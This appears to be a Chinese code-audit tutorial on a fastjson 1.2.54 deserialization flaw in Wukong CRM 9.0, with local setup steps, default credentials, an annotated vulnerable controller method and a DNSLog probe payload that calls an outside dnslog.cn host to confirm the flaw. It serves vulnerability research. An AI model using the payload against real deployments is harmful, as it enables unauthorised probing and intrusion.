一. 本地搭建
版本:Wukong CRM9.0
1. 搭建需要使用myql数据库和redis两个,使用phpstudy搭建即可,mysql数据库的文件为WukongCRM-9.0-JAVA-9.0.1_20191202/src/main/resources/config/crm9-config.txt,将下载的crm9.sql导入数据库即可,数据库格式为UTF-8; redis配置文件为同目录下的redis.json文件,redis默认密码为123456。
2. 配置好后使用idea打开,配置Tomcat中间件进行本地运行,没有报错正常起来界面如下,默认账号为:admin/123456
二. fastjson漏洞审计
1. 查看pom.xml文件,发现引用了fastjson组件,版本为有漏洞的1.2.54。
2. 确定后,查找哪里引用了组件,并且是可控的。
查找所有文件搜索: JSON.parseObject
3. 发现好多地方引用,这个方法如果没有其他处理的话,是会引起反序列话的,进入一个查看具体的代码。
在AdminExamineController.java中的添加审批处:
代码解释
@Permissions("manage:examineFlow:update")
这是一个注解,用于权限控制。表示调用此方法需要具有 manage:examineFlow:update 权限。
public void saveExamine()
定义了一个公共方法 saveExamine,该方法没有返回值(void)。
JSONObject jsonObject = JSON.parseObject(getRawData());
从请求中获取原始数据(getRawData() 方法返回一个字符串),并将其解析为一个 JSONObject 对象。
JSON.parseObject 是一个将 JSON 字符串转换为 JSONObject 的方法。
renderJson(examineService.saveExamine(jsonObject));
调用 examineService 对象的 saveExamine 方法,并将解析后的 jsonObject 作为参数传递。
examineService.saveExamine(jsonObject) 的返回值将被传递给 renderJson 方法,用于生成 HTTP 响应的 JSON 格式数据。
4. 根据提示找到添加审批处,抓包尝试dnslog。
5. 打开dnslog平台,使用fastjson漏洞poc探测,可以看到成功回显。
{"zeo":{"@type":"java.net.Inet4Address","val":"0r8b41.dnslog.cn"}
结尾:这只是其中的一处,根据代码搜索看在产品处,线索处等都存在漏洞。